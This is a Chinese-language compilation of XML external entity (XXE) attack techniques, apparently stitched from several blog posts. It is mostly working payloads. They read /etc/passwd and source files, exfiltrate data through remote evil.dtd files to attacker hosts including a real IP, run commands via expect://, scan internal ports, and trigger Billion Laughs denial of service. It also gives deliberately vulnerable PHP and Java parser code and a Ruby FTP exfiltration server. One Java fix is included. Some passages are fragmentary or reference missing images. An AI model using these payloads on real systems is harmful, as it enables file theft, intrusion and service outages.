1).有直接回顯的狀況:能夠看命名實體寫法,根據實際狀況替換相應代碼利用便可,我本地測試照搬過來
2).無回顯的狀況:能夠看第一種命名實體+外部實體+參數實體寫法和第二種命名實體+外部實體+參數實體寫法
第一種寫法結果如圖:
c://test/1.txt文件內容爲111111111,能夠從apache的日誌中看到
::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207
若是把http://localhost:88/evil.xml替換爲一個遠程服務器的xml文件地址,便可在日誌中看到咱們想要獲取的數據
第二種寫法結果如圖:
本地環境讀取:
該CASE是讀取/etc/passwd,有些XML解析庫支持列目錄,攻擊者經過列目錄、讀文件,獲取賬號密碼後進一步攻擊,如讀取tomcat-users.xml獲得賬號密碼後登陸tomcat的manager部署webshell。
另外,數據不回顯就沒有問題了嗎?以下圖,
不,能夠把數據發送到遠程服務器,
遠程evil.dtd文件內容以下:
觸發XXE攻擊後,服務器會把文件內容發送到攻擊者網站
基於file協議的XXE攻擊
XMLInject.php
<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 將 XML 中的實體引用 替換 成對應的值
# LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";`?>
file_get_content('php://input')接收post數據,xml數據
XML.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>`</creds>
致使能夠讀出etc/passwd文件
在使用file://協議時,有如下幾種格式:
file://host/path
* Linux
file:///etc/passwd
* Unix
file://localhost/etc/fstab
file:///localhost/etc/fstab
* Windows
file:///c:/windows/win.ini
file://localhost/c:/windows/win.ini
* (下面這兩種在某些瀏覽器裏是支持的)
file:///c|windows/win.ini
file://localhost/c|windows/win.ini
XML文檔是用PHP進行解析的,那麼還可使用php://filter協議來進行讀取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>
基於netdoc的XXE攻擊
==XML文檔是用Java解析的話,可利用netdoc
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>
讀取本地文件:
以php環境爲例,index.php內容以下:
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
利用各類協議能夠讀取文件。好比file協議,這裏的測試環境爲win,因此這裏我選擇讀取h盤裏的sky.txt。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///h://sky.txt">]>
<root>&file;</root>
將上述xml進行url編碼後傳進去,能夠發現讀取了sky.txt中的內容。
注:
若是要讀取php文件,由於php、html等文件中有各類括號<,>,若直接用file讀取會致使解析錯誤,此時能夠利用php://filter將內容轉換爲base64後再讀取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>
一樣先通過url編碼後再傳入。
藉助各類協議如http,XXE能夠協助掃描內網,可能能夠訪問到內網開放WEB服務的Server,並獲取其餘信息
利用http協議http://url/file.ext,替換標準poc中相應部分便可,這種狀況比較不穩定,根據不一樣xml解析器會獲得不一樣的回顯報錯結果,例如我87關閉,88端口有web服務,有的沒有明顯的鏈接錯誤信息,因此沒法判斷端口的狀態
也能夠探測內網端口:
該CASE是探測192.168.1.1的80、81端口,經過返回的「Connection refused」能夠知道該81端口是closed的,而80端口是open的。
加載外部DTD時有兩種加載方式,一種爲私有private,第二種爲公共public。
私有類型DTD加載:
<!ENTITY private_dtd SYSTEM "DTD_location">
公共類型DTD加載:
<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
在公共類型DTD加載的時候,首先會使用DTD_name來檢索,若是沒法找到,則經過DTD_location來尋找此公共DTD。利用DTD_location,在必定的環境下能夠用來作內網探測。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>
因解析器種類不一樣,因此針對XXE攻擊進行端口掃描須要一個合適的環境纔可以實現,例如:有明顯的鏈接錯誤信息。
利用DTD進行數據回顯
有時讀取文件時沒有回顯,這時能夠利用DTD參數實體的特性將文件內容拼接到url中,達到讀取文件的效果。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root>
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>"> %payload;
evil.dtd
在evil.dtd中將%file實體的內容拼接到url後,而後利用burp等工具,查看url請求就能得到咱們須要的內容
或者:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
最典型的案例Billion Laughs 攻擊,Billion laughs attack,xml解析的時候,<lolz></lolz>中間將是一個十億級別大小的參數,將會消耗掉系統30億字節的內存。
POC:
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>
或者:
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
POC中中先定義了lol實體,值爲"lol"的字符串,後在下面又定義了lol2實體,lol2實體引用10個lol實體,lol3又引用了10個lol2實體的值,依此類推,到了最後在lolz元素中引用的lol9中,就會存在上億個"lol"字符串
此時解析數據時未作特別處理,便可能形成拒絕服務攻擊。
此外還有一種可能形成拒絕服務的Payload,藉助讀取/dev/random實現.
PHP下須要expect擴展
該CASE是在安裝expect擴展的PHP環境裏執行系統命令,其餘協議也有可能能夠執行系統命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "expect://dir .">
]>
<root><foo>&content;</foo></root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
bind xxe
對於無回顯的xml注入:
在你的vps上放1.xml文件,內容以下:
<!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % all "<!ENTITY % s SYSTEM 'http://你的vps/xxe.php?f=%f;'>">
再在你的vps上放xxe.php,內容以下:
<?php
file_put_contents("/tmp/1.txt", $_GET['f']);
?>
最後在能夠寫xml的頁面寫以下:
<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://你的vps/1.xml">
%r;
%all;
%s;
]>
訪問1.txt就能夠得到flag的內容
該CASE是攻擊內網struts2網站,遠程執行系統命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY exp SYSTEM "http://192.168.1.103/payload">
]>
<root><foo>&exp;</foo></root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
或者
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
若是包含文件失敗,多是因爲讀取php等文件時文件自己包含的<等字符.可使用Base64編碼繞過,如:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
利用外部實體構造payload向內網其餘機器發出請求
支持實體測試:
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若是解析過程變的很是緩慢,則代表測試成功,即目標解析器配置不安全可能遭受至少一種 DDoS 攻擊。
Billion Laughs 攻擊 (Klein, 2002)
譯者注:「Billion Laughs」 攻擊 —— 經過建立一項遞歸的 XML 定義,在內存中生成十億個「Ha!」字符串,從而致使DDoS 攻擊。原理爲:構造惡意的XML實體文件耗盡可用內存,由於許多XML解析器在解析XML文檔時傾向於將它的整個結構保留在內存中。
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
這個文件只有 30 Kb大小但卻有 11111 個實體引用,超出了合法的實體引用數量上限。
Billion Laughs 攻擊 – 參數實體 (Späth, 2015)
<!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>
文件位於:http://publicServer.com/dos.dtd
<!ENTITY % a0 "dos" >
<!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;">
<!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;">
<!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;">
<!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;">
<!ENTITY g "%a4;" >
XML 二次爆破 DDoS 攻擊
<!DOCTYPE data [
<!ENTITY a0 "dosdosdosdosdosdos...dos"
]>
<data>&a0;&a0;...&a0;</data>
通常實體遞歸
最好不要使用遞歸 — [WFC: No Recursion]
<!DOCTYPE data [
<!ENTITY a "a&b;" >
<!ENTITY b "&a;" >
]>
<data>&a;</data>
外部通常實體 (Steuck, 2002)
這種攻擊方式是經過申明一個外部通常實體,而後引用位於網上或本地的一個大文件(例如:C:/pagefile.sys 或/dev/random)。
然而,這種攻擊只是讓解析器解析一個 巨大的 XML 文件而已。
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >
]>
<data>&dos;</data>
基本的 XXE 攻擊 (Steuck, 2002)
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
咱們以文件 ‘/sys/power/image_size’ 爲例,由於它很是短小隻有一行且不包含特殊字符。
這種攻擊須要一個直接的反饋通道而且讀取文件受到 XML 中禁止字符的限制,如 「<」 和 「&」。
若是這些被禁止的字符出如今要訪問的文件中(如:/etc/fstab),則 XML 解析器會拋出一個錯誤並中止解析。
使用 netdoc 的 XXE 攻擊
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
]>
<data>&file;</data>
這類攻擊爲高級的 XXE 攻擊,用於繞過對基本的 XXE 攻擊的限制和 OOB(外帶數據) 攻擊
繞過基本 XXE 攻擊的限制 (Morgan, 2014)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///sys/power/image_size">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">
%dtd;
]>
<data>&all;</data>
文件位於:http://publicServer.com/parameterEntity_core.dtd
<!ENTITY all '%start;%goodies;%end;'>
濫用屬性值的 XXE 攻擊
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data attrib='&internal;'/>
文件位於:http://publicServer.com/external_entity_attribute.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
沒有能夠直接回傳的通道不意味着就不存在 XXE 攻擊。
XXE OOB 攻擊 (Yunusov, 2013)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
文件位於:http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
XXE OOB 攻擊 – 參數實體 (Yunusov, 2013)
和前面的攻擊很像,區別僅在於只使用參數實體。
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd">
%remote;
%send;
]>
<data>4</data>
文件位於:http://publicServer.com/parameterEntity_sendhttp.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://publicServer.com/%payload;'>">
%param1;
XXE OOB 攻擊 – 參數實體 FTP (Novikov, 2014)
使用 FTP 協議,攻擊者能夠讀取到任意長度的文件。
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>
文件位於:http://publicServer.com/parameterEntity_sendftp.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;
這種攻擊須要配置 FTP 服務器。不過,這個 POC 代碼只須要稍做調整便可用於任意的解析器上。
SchemaEntity 攻擊 (Späth, 2015)
這裏有三種不一樣的攻擊方式:(i) schemaLocation,(ii) noNamespaceSchemaLocation 和 (iii) XInclude。
schemaLocation
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>
noNamespaceSchemaLocation
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data>
XInclude
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="http://192.168.2.31/&internal;" parse="text"></xi:include></data>
文件位於:http://publicServer.com/external_entity_attribute.dtd
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
DOCTYPE
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
外部通常實體 (Steuck, 2002)
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY remote SYSTEM "http://internalSystem.com/file.xml">
]>
<data>&remote;</data>
儘管爲了避免引發錯誤,最好是引用格式良好的 XML 文件(或者任何文本文件),但一些解析器可能仍是會調用 URL 引用格式有問題的文件。
外部參數實體 (Yunusov, 2013)
<?xml version='1.0'?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd">
%remote;
]>
<data>4</data>
文件位於:http://publicServer.com/url_invocation_parameterEntity.dtd
<!ELEMENT data2 (#ANY)>
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="http://publicServer.com/file.xml"></xi:include></data>
文件位於:http://publicServer.com/file.xml
<?xml version='1.0' encoding='utf-8'?><data>it_works</data>
schemaLocation
<?xml version='1.0'?>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data>
文件位於:http://publicServer.com/url_invocation_schemaLocation.xsd
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="data" type="xs:string"/>
</xs:schema>
或者使用這個文件
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://test.com/attack">
<xs:element name="data" type="xs:string"/>
</xs:schema>
noNamespaceSchemaLocation
<?xml version='1.0'?>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data>
文件位於:http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd
<?xml version="1.0" encoding="UTF-8"?>
<xs:schema
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="data" type="xs:string"/>
</xs:schema>
XInclude 攻擊 (Morgan, 2014)
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="/sys/power/image_size"></xi:include></data>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/sys/power/image_size')">
</xsl:value-of></xsl:template>
</xsl:stylesheet>
點:libxml2.9.1及之後,默認不解析外部實體。測試的時候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中須要將libxml低於libxml2.9.1的版本編譯到PHP中,可使用phpinfo()查看libxml的版本信息。
參考連接:
http://vulhub.org/#/environments/php_xxe/
有回顯有報錯測試代碼:
1.<?php
2.$xml=simplexml_load_string($_POST['xml']);
3.print_r($xml);
4.?>
無回顯無報錯測試代碼:
1.<?php
2.$xml=@simplexml_load_string($_POST['xml']);
3.?>
利用xxe漏洞能夠進行拒絕服務攻擊,文件讀取,命令(代碼)執行,SQL(XSS)注入,內外掃描端口,入侵內網站點等,內網探測和入侵是利用xxe中支持的協議進行內網主機和端口發現,能夠理解是使用xxe進行SSRF的利用,基本上啥都能作了,通常xxe利用分爲兩大場景:有回顯和無回顯。有回顯的狀況能夠直接在頁面中看到Payload的執行結果或現象,無回顯的狀況又稱爲blind xxe,可使用外帶數據通道提取數據。
這種可以回顯的,直接寫一個參數+外部實體而後調用就行了
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<foo>
<value>&file;</value>
</foo>
有回顯的狀況可使用以下的兩種方式進行XXE注入攻擊。
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部evil.dtd中的內容。
<!ENTITY evil SYSTEM 「file:///c:/windows/win.ini」 >
固然也能夠進行內網站點的入侵(屬於SSRF的內容 後續補充)。
首先在vps中創建evil.dtd
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://118.89.16.36/x/?id=%file;'>"
>
%all;
而後xml中書寫以下形式
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://118.89.16.36/evil.dtd">
%dtd;
%send;
]>
可使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,而後將內容以http請求發送到接受數據的服務器(攻擊服務器)xxx.xxx.xxx。
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
evil.dtd的內容,內部的%號要進行實體編碼成%。
<!ENTITY % all
「<!ENTITY % send SYSTEM ‘http://xxx.xxx.xxx/?data=%file;’>」
>
%all;
有報錯直接查看報錯信息。
無報錯須要訪問接受數據的服務器中的日誌信息,能夠看到通過base64編碼過的數據,解碼後即可以獲得數據。
DTD文檔支持這麼一種定義,直接在定義文檔類型的時候引入外部DTD文檔,以後就是一樣的姿式了
(本地測試沒有成功,多是姿式問題)
<!DOCTYPE svg SYSTEM "http://118.89.16.36/evil.dtd">
<root>&test;</root>
evil.dtd
<!ENTITY test SYSTEM "file:///etc/passwd">
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
這個文件裏面存在11111個實體引用,超出了合法的實體引用數量上限
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
1.任意讀取txt文件正常,讀取php文件報錯。由於php文件自己包含<等字符,利用php://filter的base64編碼繞過
php://filter/read=convert.base64-encode/resource=http://localhost:88/exponent/index.php
<?xml version=」1.0″ encoding=」utf-8″?>
<!DOCTYPE entity [
<!ENTITY file SYSTEM ENTITY e SYSTEM 「php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org」>
]>
<wooyun>
<external>&file;</external>
</wooyun>
2.第二種命名實體+外部實體+參數實體寫法 中的evil.xml文件
對
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
錯
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
裏層嵌套爲字符實體 例如 %爲 %web服務器uri get請求長度通常限制在2k,NET的System.XML會自動進行URLencode;
3.形參實體(就是帶%的)只能在dtd(<!DOCTYPE ANY[])裏面調用,其餘實體要用'&'開頭,';'結尾
4.不明白爲何無回顯的狀況下必定要三層實體嵌套才正確,二層嵌套就不對(evil.xml中直接寫成<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>或是<!ENTITY send SYSTEM 'http://localhost:88/?content=%file;'>)
5.平時burp 抓包 能夠在請求頭添加 Content-type:application/xml
並添加 xml語句若是報錯 或執行則有可能存在xxe漏洞,不斷根據response fuzz便可
6.咱們既然可使用file協議讀取本地文件,固然也可使用http協議訪問來形成SSRF攻擊,甚至可使用gopher協議。
具體能使用的協議主要取決於PHP,PHP默認支持file、http、ftp、php、compress、data、glob、phar、gopher協議。
若是PHP支持except模塊,咱們還能夠利用except模塊來執行系統命令。
簡單的SSRF攻擊實例以下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>
而後就能夠監聽到訪問了。
SSRF攻擊能夠成功的話,咱們天然能夠進而攻擊企業內網的系統。
其餘更多的危害各位能夠參考OWASP出的文檔:
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
XXE漏洞目前還未受到普遍關注,Wooyun上幾個XXE引發的安全問題:
藉助XXE,攻擊者能夠實現任意文件讀取,DOS拒絕服務攻擊以及代理掃描內網等.
對於不一樣XML解析器,對外部實體有不一樣處理規則,在PHP中默認處理的函數爲:
xml_parse
和
simplexml_load
xml_parse的實現方式爲expat庫,默認狀況不會解析外部實體,而simplexml_load默認狀況下會解析外部實體,形成安全威脅.
除PHP外,在Java,Python等處理xml的組件及函數中均可能存在此問題
形成Java XXE漏洞的代碼,真的很是多。好比下面的漏洞代碼。
import org.apache.commons.digester3.Digester;
maven配置:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-digester3</artifactId>
<version>3.2</version>
</dependency>
代碼
@RequestMapping("/xxe")
@ResponseBody
public static String xxetest(HttpServletRequest request) {
try {
String xml_con = request.getParameter("xml").toString();
Digester digester = new Digester();
digester.parse(new StringReader(xml_con));
return "test";
} catch (Exception e) {
return "except";
}
}
這個代碼使用Digester類,因此最後修復代碼須要使用該類的setFeature方法。
修復代碼:
public static String xxetest(HttpServletRequest request) {
try {
String xml_con = request.getParameter("xml").toString();
Digester digester = new Digester();
// parse解析以前設置
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.parse(new StringReader(xml_con));
return "test";
} catch (Exception e) {
return "except";
}
}
再次利用時,會提示將功能"http://apache.org/xml/features/disallow-doctype-decl"設置爲"真"時,不容許使用DOCTYPE。因此,這應該是在檢測解析的內容是否有DOCTYPE,DOCTYPE是定義DTD的宏。黑盒測試,檢測的內容爲<!DOCTYPE,畢竟設置的features爲disallow-doctype-decl。
其餘類形成的XXE修復方案,能夠參考這個文檔。http://find-sec-bugs.github.io/bugs.htm
該payload讀取/etc/redhat-release文件內容。該文件內容通常狀況下只有一行,因此用來證實XXE的任意文件讀取,還比較合適。
URL編碼後的payload:
<%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+%5b<!ENTITY+%25+remote+SYSTEM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>EM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>
解碼爲:
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.me:8081/evil.xml">%remote;]><root/>
http://test.joychou.me:8081/evil.xml的內容以下:
<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://test.joychou.me:8081/%payload;'>">;
用這個的方式,能夠來證實任意文件讀取。
Java在Blind XXE的利用上,讀取文件會有些問題。
在PHP中,咱們可使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法將文本內容進行base64編碼。
Java中,沒這樣編碼方法,因此若是要讀取換行的文件,通常使用FTP協議,HTTP協議會因爲存在換行等字符,請求會發送失敗。
FTP讀取方法能夠參考這篇文章,裏面也有FTP Server的相關代碼。http://www.voidcn.com/article/p-njawsjxm-ko.html
開啓一個匿名登陸的FTP Server,端口爲33的ruby腳本,ftp.rb
require 'socket'
server = TCPServer.new 33
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end
http://test.joychou.me:8081/evil.xml的內容以下:
